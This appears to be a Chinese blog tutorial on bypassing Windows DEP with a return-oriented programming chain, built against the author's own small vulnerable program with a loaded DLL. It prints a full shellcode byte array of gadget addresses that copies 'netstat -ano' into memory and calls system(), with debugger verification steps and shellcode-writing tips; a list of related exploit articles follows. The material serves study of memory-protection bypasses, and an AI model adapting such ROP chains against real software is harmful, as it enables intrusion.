利用 ROP 技术绕过 DEP 保护的一次简单尝试
\x 01 前言
- DEP是数据执行保护的英文缩写,全称为Data Execution Prevention。数据执行保护(DEP) 是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码,在 Microsoft Windows XP ServicePack 2及以上版本的Windows中,由硬件和软件一起强制实施DEP(这个技术还是比较老的了)。自从这个技术出现以来也出现了各种各样的方法来绕过,主要的方法为构造ROP链来绕过
- 下面是百度学术上找的文章,资料太少了,主要的意思就是利用程序或者动态链接库中原有的代码(地址不变)拼凑出完整的攻击逻辑,对汇编要求较高

- 以下为ROP的主要构造方法,前两个函数的资料不好找(函数不会用),所以选最后一个,当然最后一个也进行了阉割…

\x 02 实验环境
- C-Free + Windows10 + OD
\x 03 DEP开启与关闭
- 右击我的电脑–>属性



- 如图设置完成重启之后除了1.exe其他可执行程序都会受到DEP的保护

- 在有DEP保护的程序中会出现这样的情况,首先到达函数返回点

- 返回地址为溢出覆盖的0x7FFA4512(JMP ESP)

- 单步执行一步之后到达 jmp esp,之后只需要跳到shellcode即可

- 单步执行一步,这是系统会判断 jmp 进了数据段,不可以在数据段执行代码,终止程序


\x04 示例程序
- 由于我水平低,只能弄个简单的程序,这个程序加载了一个dll(动态链接库),用于拼凑方便

- 怎么判断是否绕过了DEP呢,我将用ROP编程的方式调用system函数(简单的函数,只需要一个参数),该参数为netstat -ano
- 具体思路如下:在高位地址寻找一块空闲的区域->将参数赋值到这个空闲的区域->调用system函数
- 思路有了那么就需要在动态链接库或者程序里面找现有的语句开始拼凑了,你别说还真找到了3处有用的



- 利用 eax 和 ecx 两个操作数将参数 netstat -ano 通过 mov 语句复制到一块空闲的内存中去,最后调用函数即可,于是生成了以下的shellcode(不同的操作系统能找出的空闲地址可能不一样)
char shellcode[] = "\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" // 溢出载荷
"\x5a\x20\x50\x74" // retn 到 0x7450205a(覆盖函数返回值的地址),开始ROP编程
"\x84\x5c\x51\x74" // 将 0x74515c84 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x6e\x65\x74\x73" // 将 0x7374656e(nets) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x88\x5c\x51\x74" // 将 0x74515c88 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x74\x61\x74\x20" // 将 0x74617420(tat空格) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x8c\x5c\x51\x74" // 将 0x74515c8c 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x2d\x61\x6e\x6f" // 将 0x6f6e612d(-ano) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x10\x3b\x4a\x74" // 参数 netstat -ano 的首地址,用于 system 函数的参数
"\x41\x41\x41\x41" // 用于维持函数调用的堆栈平衡,因为函数有参数,这个为一个参数,所以只需要4个字节
"\x84\x5c\x51\x74" // system 函数的地址 0x74515c84
- 逻辑图

\x 05 验证程序
- 示例程序

- 函数到了溢出点

- 此时的堆栈窗口

- 之后函数返回到0x7450205a

- 再返回到0x74507b4b

- 之后返回到0x74502071

- 观察数据窗口,参数是以4个字节连3次压入的

- 重复3次以上过程,观察数据窗口,发现system函数的参数已经赋值完毕(字符串以16进制00结尾)

- 最后调用system函数

- 堆栈窗口如下图所示,0x744a3b10 是 system 函数的地址,0x74515c84 是参数 netstat -ano 的首地址

- 成功进入 system 函数

- 验证结束,F9运行,成功运行并打印

\x 06 总结
- 在编写 shellcode 是比较容易踩的几个坑,第一个通过strcpy复制的 shellcode 中最好不要出现16进制的00,不然会被当作终止符,比如一个 shellcode:
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x00\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
- 当出现 00 字符后,00 后面的 shellcode 就不会被复制到堆栈当中,就会变成以下这个样子,原因是 strcpy 碰到 00 后就不往下复制了
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x00\x41
- 还有一个就是 retn 返回到某一个函数调用是,ESP 会加 4 个字节,要把这 4 个字节平衡掉
利用 ROP 技术绕过 DEP 保护的一次简单尝试的更多相关文章
- JDBC 利用反射技术将查询结果封装为对象(简单ORM实现)
ORM(Object Relational Mapping)对象关系映射 public class ORMTest { public static void main(String[] args) t ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- Rop实战之利用VirtualProtect绕过DEP
CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...
- safeseh+dep保护绕过
[文章作者] :h_one [漏洞程序名称]:mplayer.exe [漏洞类型] :缓冲区溢出 [保护方式] :safeseh+dep [操作平台] ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 使用ROP攻击绕过Windows的DEP
使用ROP攻击绕过Windows的DEP 基础知识 DEP DEP(Data Execution Prevention)意为数据执行保护,是Windows的一项安全机制,主要能够在内存上执行额外检查以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- Linux pwn入门教程(3)——ROP技术
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...
- windows环境下的heap spray+stack pivot gadget 实现绕过dep
ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...
随机推荐
- 2020年12月-第02阶段-前端基础-CSS初识
CSS层叠样式表 理解 css的目的作用 css的三种引入方式 1.HTML的局限性 说起HTML,这其实是个非常单纯的家伙, 他只关注内容的语义, 比如`<h1>`表明这是一个大标题,用 ...
- 漏洞复现-CVE-2014-3120-ElasticSearch 命令执行漏洞
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 < ElasticSearch 1.2的版本 ...
- linux_MYSQL 数据库自动备份并压缩和删除历史备份
1. 创建shell脚本 #! /bin/bash# MySQL用户user="root"# MySQL密码userPWD="123456789"# 需要定时备 ...
- 记录一个在配置虚拟环境是遇到的错误(virtualenv)
原配置文件 export WORKON_HOME=~/Envs #设置virtualenv的统一管理目录 export VIRTUALENVWRAPPER_VIRTUALENV_ARGS='--no- ...
- 浅谈Java的反射的原理
Java的编译过程 谈及反射,不得不先了解一下,java的整个编译过程,整体的java编译过程可以参考 之前的一篇 一个java文件被执行的历程 这里我们只针对 对象这一层级来讨论,一个java文件, ...
- JavaCV 采集摄像头及桌面视频数据
javacv 封装了javacpp-presets库很多native API,简化了开发,对java程序员来说比较友好. 之前使用JavaCV库都是使用ffmpeg native API开发,这种方式 ...
- Android的Proxy/Delegate Application框架
转自:http://blogs.360.cn/360mobile/2013/11/25/proxydelegate-application/#comment-77 有的时候,为了实现一些特殊需求,如界 ...
- 数位dp 模板加例题
概念:所谓数位"dp",是指对数字的"位"进行的与计数有关的DP.一个数一个位,十位,百位,千位等,数的每一位就是数位.数位DP用来解决与数字操作有关的问题.例 ...
- P1303_A*B Problem(JAVA语言)
思路:BigInteger 三杀! //四行搞定 题目描述 求两数的积. 输入输出格式 输入格式: 两行,两个数. 输出格式: 积 输入输出样例 输入样例#1: 复制 1 2 输出样例#1: 复制 2 ...
- [倍增][换根DP]luogu P5024 保卫王国
题面 https://www.luogu.com.cn/problem/P5024 分析 可以对有限制的点对之间的链进行在倍增上的DP数组合并. 需要通过一次正向树形DP和一次换根DP得到g[0][i ...